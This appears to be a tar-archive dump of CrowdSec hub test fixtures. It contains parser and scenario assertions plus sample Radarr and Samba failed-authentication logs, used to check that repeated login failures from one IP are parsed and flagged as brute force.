results["s01-parse"]["schiz0phr3ne/radarr-logs"][5].Evt.Parsed["username"] == "'test'" results["s01-parse"]["schiz0phr3ne/radarr-logs"][5].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["schiz0phr3ne/radarr-logs"][5].Evt.Parsed["pid"] == "33523" results["s01-parse"]["schiz0phr3ne/radarr-logs"][5].Evt.Parsed["program"] == "Radarr" results["s01-parse"]["schiz0phr3ne/radarr-logs"][5].Evt.Parsed["source_ip"] == "1.2.3.4" results["s01-parse"]["schiz0phr3ne/radarr-logs"][5].Evt.Parsed["timestamp"] == "Oct 9 19:34:17" results["s01-parse"]["schiz0phr3ne/radarr-logs"][5].Evt.Parsed["message"] == "[Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test'" results["s01-parse"]["schiz0phr3ne/radarr-logs"][5].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["schiz0phr3ne/radarr-logs"][5].Evt.Meta["username"] == "'test'" results["s01-parse"]["schiz0phr3ne/radarr-logs"][5].Evt.Meta["datasource_path"] == "radarr-logs.log" results["s01-parse"]["schiz0phr3ne/radarr-logs"][5].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["schiz0phr3ne/radarr-logs"][5].Evt.Meta["log_type"] == "radarr_failed_authentication" results["s01-parse"]["schiz0phr3ne/radarr-logs"][5].Evt.Meta["machine"] == "radarr" results["s01-parse"]["schiz0phr3ne/radarr-logs"][5].Evt.Meta["service"] == "radarr" results["s01-parse"]["schiz0phr3ne/radarr-logs"][6].Success == false len(results["s02-enrich"]["crowdsecurity/dateparse-enrich"]) == 6 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["logsource"] == "syslog" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["pid"] == "33523" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["program"] == "Radarr" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["message"] == "[Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test'" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["timestamp"] == "Oct 9 19:34:12" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["username"] == "'test'" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_path"] == "radarr-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["log_type"] == "radarr_failed_authentication" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["machine"] == "radarr" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["service"] == "radarr" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["timestamp"][4:] == "-10-09T19:34:12Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["username"] == "'test'" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Enriched["MarshaledTime"][4:] == "-10-09T19:34:12Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["timestamp"] == "Oct 9 19:34:13" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["username"] == "'test'" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["logsource"] == "syslog" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["message"] == "[Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test'" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["pid"] == "33523" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["program"] == "Radarr" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["service"] == "radarr" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["timestamp"][4:] == "-10-09T19:34:13Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["username"] == "'test'" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_path"] == "radarr-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["log_type"] == "radarr_failed_authentication" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["machine"] == "radarr" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Enriched["MarshaledTime"][4:] == "-10-09T19:34:13Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["username"] == "'test'" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["pid"] == "33523" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["program"] == "Radarr" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["timestamp"] == "Oct 9 19:34:14" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["logsource"] == "syslog" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["message"] == "[Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test'" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["username"] == "'test'" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["datasource_path"] == "radarr-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["log_type"] == "radarr_failed_authentication" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["machine"] == "radarr" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["service"] == "radarr" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["timestamp"][4:] == "-10-09T19:34:14Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Enriched["MarshaledTime"][4:] == "-10-09T19:34:14Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["logsource"] == "syslog" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["pid"] == "33523" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["timestamp"] == "Oct 9 19:34:15" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["message"] == "[Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test'" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["program"] == "Radarr" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["username"] == "'test'" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["log_type"] == "radarr_failed_authentication" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["machine"] == "radarr" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["service"] == "radarr" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["timestamp"][4:] == "-10-09T19:34:15Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["username"] == "'test'" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["datasource_path"] == "radarr-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Enriched["MarshaledTime"][4:] == "-10-09T19:34:15Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["logsource"] == "syslog" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["program"] == "Radarr" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["username"] == "'test'" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["message"] == "[Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test'" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["pid"] == "33523" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["timestamp"] == "Oct 9 19:34:16" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["timestamp"][4:] == "-10-09T19:34:16Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["username"] == "'test'" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["datasource_path"] == "radarr-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["log_type"] == "radarr_failed_authentication" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["machine"] == "radarr" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["service"] == "radarr" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Enriched["MarshaledTime"][4:] == "-10-09T19:34:16Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["timestamp"] == "Oct 9 19:34:17" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["program"] == "Radarr" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["username"] == "'test'" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["logsource"] == "syslog" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["message"] == "[Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test'" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["pid"] == "33523" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["machine"] == "radarr" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["service"] == "radarr" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["timestamp"][4:] == "-10-09T19:34:17Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["username"] == "'test'" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["datasource_path"] == "radarr-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["log_type"] == "radarr_failed_authentication" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Enriched["MarshaledTime"][4:] == "-10-09T19:34:17Z" len(results["success"][""]) == 0 hub1/.tests/radarr-logs/radarr-logs.log000066400000000000000000000011751437532772500203150ustar00rootroot00000000000000Oct 9 19:34:12 radarr Radarr[33523]: [Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test' Oct 9 19:34:13 radarr Radarr[33523]: [Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test' Oct 9 19:34:14 radarr Radarr[33523]: [Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test' Oct 9 19:34:15 radarr Radarr[33523]: [Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test' Oct 9 19:34:16 radarr Radarr[33523]: [Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test' Oct 9 19:34:17 radarr Radarr[33523]: [Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test' Oct 9 19:34:18 radarr Radarr[33523]: [Info] Auth: Auth-Success ip 1.2.3.5 username 'test' hub1/.tests/radarr-logs/scenario.assert000066400000000000000000000000001437532772500204050ustar00rootroot00000000000000hub1/.tests/radarr-nonsyslog-logs/000077500000000000000000000000001437532772500174225ustar00rootroot00000000000000hub1/.tests/radarr-nonsyslog-logs/config.yaml000066400000000000000000000004111437532772500215470ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - ./parsers/s01-parse/schiz0phr3ne/radarr-logs.yaml - crowdsecurity/dateparse-enrich scenarios: - "" postoverflows: - "" log_file: radarr-nonsyslog-logs.log log_type: Radarr labels: {} ignore_parsers: false override_statics: [] hub1/.tests/radarr-nonsyslog-logs/parser.assert000066400000000000000000000211121437532772500221360ustar00rootroot00000000000000len(results) == 4 len(results["s00-raw"]["crowdsecurity/non-syslog"]) == 2 results["s00-raw"]["crowdsecurity/non-syslog"][0].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["message"] == "2022-12-16 13:01:07.9|Warn|Auth|Auth-Failure ip 1.2.3.4 username 'enenenwn'" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["program"] == "Radarr" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_path"] == "radarr-nonsyslog-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][1].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["message"] == "2022-12-16 13:01:12.2|Warn|Auth|Auth-Failure ip 1.2.3.4 username 'enenennwnwn2'" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["program"] == "Radarr" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_path"] == "radarr-nonsyslog-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_type"] == "file" len(results["s00-raw"]["crowdsecurity/syslog-logs"]) == 2 results["s00-raw"]["crowdsecurity/syslog-logs"][0].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][1].Success == false len(results["s01-parse"]["schiz0phr3ne/radarr-logs"]) == 2 results["s01-parse"]["schiz0phr3ne/radarr-logs"][0].Success == true results["s01-parse"]["schiz0phr3ne/radarr-logs"][0].Evt.Parsed["username"] == "enenenwn" results["s01-parse"]["schiz0phr3ne/radarr-logs"][0].Evt.Parsed["year"] == "2022" results["s01-parse"]["schiz0phr3ne/radarr-logs"][0].Evt.Parsed["date"] == "2022-12-16" results["s01-parse"]["schiz0phr3ne/radarr-logs"][0].Evt.Parsed["day"] == "16" results["s01-parse"]["schiz0phr3ne/radarr-logs"][0].Evt.Parsed["program"] == "Radarr" results["s01-parse"]["schiz0phr3ne/radarr-logs"][0].Evt.Parsed["time"] == "13:01:07.9" results["s01-parse"]["schiz0phr3ne/radarr-logs"][0].Evt.Parsed["timestamp"] == "2022-12-16 13:01:07.9" results["s01-parse"]["schiz0phr3ne/radarr-logs"][0].Evt.Parsed["log_level"] == "Warn" results["s01-parse"]["schiz0phr3ne/radarr-logs"][0].Evt.Parsed["message"] == "2022-12-16 13:01:07.9|Warn|Auth|Auth-Failure ip 1.2.3.4 username 'enenenwn'" results["s01-parse"]["schiz0phr3ne/radarr-logs"][0].Evt.Parsed["month"] == "12" results["s01-parse"]["schiz0phr3ne/radarr-logs"][0].Evt.Parsed["source_ip"] == "1.2.3.4" results["s01-parse"]["schiz0phr3ne/radarr-logs"][0].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["schiz0phr3ne/radarr-logs"][0].Evt.Meta["username"] == "enenenwn" results["s01-parse"]["schiz0phr3ne/radarr-logs"][0].Evt.Meta["datasource_path"] == "radarr-nonsyslog-logs.log" results["s01-parse"]["schiz0phr3ne/radarr-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["schiz0phr3ne/radarr-logs"][0].Evt.Meta["log_type"] == "radarr_failed_authentication" results["s01-parse"]["schiz0phr3ne/radarr-logs"][0].Evt.Meta["service"] == "radarr" results["s01-parse"]["schiz0phr3ne/radarr-logs"][1].Success == true results["s01-parse"]["schiz0phr3ne/radarr-logs"][1].Evt.Parsed["time"] == "13:01:12.2" results["s01-parse"]["schiz0phr3ne/radarr-logs"][1].Evt.Parsed["timestamp"] == "2022-12-16 13:01:12.2" results["s01-parse"]["schiz0phr3ne/radarr-logs"][1].Evt.Parsed["date"] == "2022-12-16" results["s01-parse"]["schiz0phr3ne/radarr-logs"][1].Evt.Parsed["log_level"] == "Warn" results["s01-parse"]["schiz0phr3ne/radarr-logs"][1].Evt.Parsed["month"] == "12" results["s01-parse"]["schiz0phr3ne/radarr-logs"][1].Evt.Parsed["source_ip"] == "1.2.3.4" results["s01-parse"]["schiz0phr3ne/radarr-logs"][1].Evt.Parsed["username"] == "enenennwnwn2" results["s01-parse"]["schiz0phr3ne/radarr-logs"][1].Evt.Parsed["year"] == "2022" results["s01-parse"]["schiz0phr3ne/radarr-logs"][1].Evt.Parsed["day"] == "16" results["s01-parse"]["schiz0phr3ne/radarr-logs"][1].Evt.Parsed["message"] == "2022-12-16 13:01:12.2|Warn|Auth|Auth-Failure ip 1.2.3.4 username 'enenennwnwn2'" results["s01-parse"]["schiz0phr3ne/radarr-logs"][1].Evt.Parsed["program"] == "Radarr" results["s01-parse"]["schiz0phr3ne/radarr-logs"][1].Evt.Meta["datasource_path"] == "radarr-nonsyslog-logs.log" results["s01-parse"]["schiz0phr3ne/radarr-logs"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["schiz0phr3ne/radarr-logs"][1].Evt.Meta["log_type"] == "radarr_failed_authentication" results["s01-parse"]["schiz0phr3ne/radarr-logs"][1].Evt.Meta["service"] == "radarr" results["s01-parse"]["schiz0phr3ne/radarr-logs"][1].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["schiz0phr3ne/radarr-logs"][1].Evt.Meta["username"] == "enenennwnwn2" len(results["s02-enrich"]["crowdsecurity/dateparse-enrich"]) == 2 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["date"] == "2022-12-16" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["message"] == "2022-12-16 13:01:07.9|Warn|Auth|Auth-Failure ip 1.2.3.4 username 'enenenwn'" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["month"] == "12" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["program"] == "Radarr" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["time"] == "13:01:07.9" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["day"] == "16" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["log_level"] == "Warn" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["timestamp"] == "2022-12-16 13:01:07.9" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["username"] == "enenenwn" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["year"] == "2022" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["timestamp"] == "2022-12-16T13:01:07.9Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["username"] == "enenenwn" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_path"] == "radarr-nonsyslog-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["log_type"] == "radarr_failed_authentication" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["service"] == "radarr" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Enriched["MarshaledTime"] == "2022-12-16T13:01:07.9Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["username"] == "enenennwnwn2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["year"] == "2022" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["date"] == "2022-12-16" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["day"] == "16" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["log_level"] == "Warn" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["message"] == "2022-12-16 13:01:12.2|Warn|Auth|Auth-Failure ip 1.2.3.4 username 'enenennwnwn2'" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["timestamp"] == "2022-12-16 13:01:12.2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["month"] == "12" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["program"] == "Radarr" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["time"] == "13:01:12.2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["log_type"] == "radarr_failed_authentication" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["service"] == "radarr" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["timestamp"] == "2022-12-16T13:01:12.2Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["username"] == "enenennwnwn2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_path"] == "radarr-nonsyslog-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Enriched["MarshaledTime"] == "2022-12-16T13:01:12.2Z" len(results["success"][""]) == 0hub1/.tests/radarr-nonsyslog-logs/radarr-nonsyslog-logs.log000066400000000000000000000002331437532772500243710ustar00rootroot000000000000002022-12-16 13:01:07.9|Warn|Auth|Auth-Failure ip 1.2.3.4 username 'enenenwn' 2022-12-16 13:01:12.2|Warn|Auth|Auth-Failure ip 1.2.3.4 username 'enenennwnwn2'hub1/.tests/radarr-nonsyslog-logs/scenario.assert000066400000000000000000000000001437532772500224360ustar00rootroot00000000000000hub1/.tests/smb-bf/000077500000000000000000000000001437532772500143225ustar00rootroot00000000000000hub1/.tests/smb-bf/config.yaml000066400000000000000000000003201437532772500164460ustar00rootroot00000000000000parsers: - crowdsecurity/smb-logs - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich scenarios: - crowdsecurity/smb-bf postoverflows: - "" log_file: smb-bf.log log_type: syslog ignore_parsers: true hub1/.tests/smb-bf/parser.assert000066400000000000000000000000001437532772500170270ustar00rootroot00000000000000hub1/.tests/smb-bf/scenario.assert000066400000000000000000000050721437532772500173540ustar00rootroot00000000000000len(results) == 1 "1.2.3.4" in results[0].Overflow.GetSources() results[0].Overflow.Sources["1.2.3.4"].IP == "1.2.3.4" results[0].Overflow.Sources["1.2.3.4"].Range == "" results[0].Overflow.Sources["1.2.3.4"].GetScope() == "Ip" results[0].Overflow.Sources["1.2.3.4"].GetValue() == "1.2.3.4" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "smb-bf.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "smb_failed_auth" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[0].GetMeta("user") == "toto" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "smb-bf.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "smb_failed_auth" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[1].GetMeta("user") == "toto" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "smb-bf.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "smb_failed_auth" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[2].GetMeta("user") == "toto" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "smb-bf.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "smb_failed_auth" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[3].GetMeta("user") == "toto" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "smb-bf.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "smb_failed_auth" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[4].GetMeta("user") == "toto" results[0].Overflow.Alert.Events[5].GetMeta("datasource_path") == "smb-bf.log" results[0].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[5].GetMeta("log_type") == "smb_failed_auth" results[0].Overflow.Alert.Events[5].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[5].GetMeta("user") == "toto" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/smb-bf" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 6 hub1/.tests/smb-bf/smb-bf.log000066400000000000000000000030361437532772500161750ustar00rootroot00000000000000Sep 24 10:04:52 host2 smb[2725]: Auth: [SMB2,(null)] user []\[toto] at [Fri, 24 Sep 2021 10:04:52.030937 UTC] with [NTLMv2] status [NT_STATUS_NO_SUCH_USER] workstation [] remote host [ipv4:1.2.3.4:62419] mapped to []\[toto]. local host [ipv4:10.1.1.1:445] #015 Sep 24 10:04:53 host2 smb[2725]: Auth: [SMB2,(null)] user []\[toto] at [Fri, 24 Sep 2021 10:04:53.030937 UTC] with [NTLMv2] status [NT_STATUS_NO_SUCH_USER] workstation [] remote host [ipv4:1.2.3.4:62419] mapped to []\[toto]. local host [ipv4:10.1.1.1:445] #015 Sep 24 10:04:54 host2 smb[2725]: Auth: [SMB2,(null)] user []\[toto] at [Fri, 24 Sep 2021 10:04:54.030937 UTC] with [NTLMv2] status [NT_STATUS_NO_SUCH_USER] workstation [] remote host [ipv4:1.2.3.4:62419] mapped to []\[toto]. local host [ipv4:10.1.1.1:445] #015 Sep 24 10:04:55 host2 smb[2725]: Auth: [SMB2,(null)] user []\[toto] at [Fri, 24 Sep 2021 10:04:55.030937 UTC] with [NTLMv2] status [NT_STATUS_NO_SUCH_USER] workstation [] remote host [ipv4:1.2.3.4:62419] mapped to []\[toto]. local host [ipv4:10.1.1.1:445] #015 Sep 24 10:04:55 host2 smb[2725]: Auth: [SMB2,(null)] user []\[toto] at [Fri, 24 Sep 2021 10:04:55.030937 UTC] with [NTLMv2] status [NT_STATUS_NO_SUCH_USER] workstation [] remote host [ipv4:1.2.3.4:62419] mapped to []\[toto]. local host [ipv4:10.1.1.1:445] #015 Sep 24 10:04:57 host2 smb[2725]: Auth: [SMB2,(null)] user []\[toto] at [Fri, 24 Sep 2021 10:04:57.030937 UTC] with [NTLMv2] status [NT_STATUS_NO_SUCH_USER] workstation [] remote host [ipv4:1.2.3.4:62419] mapped to []\[toto]. local host [ipv4:10.1.1.1:445] #015 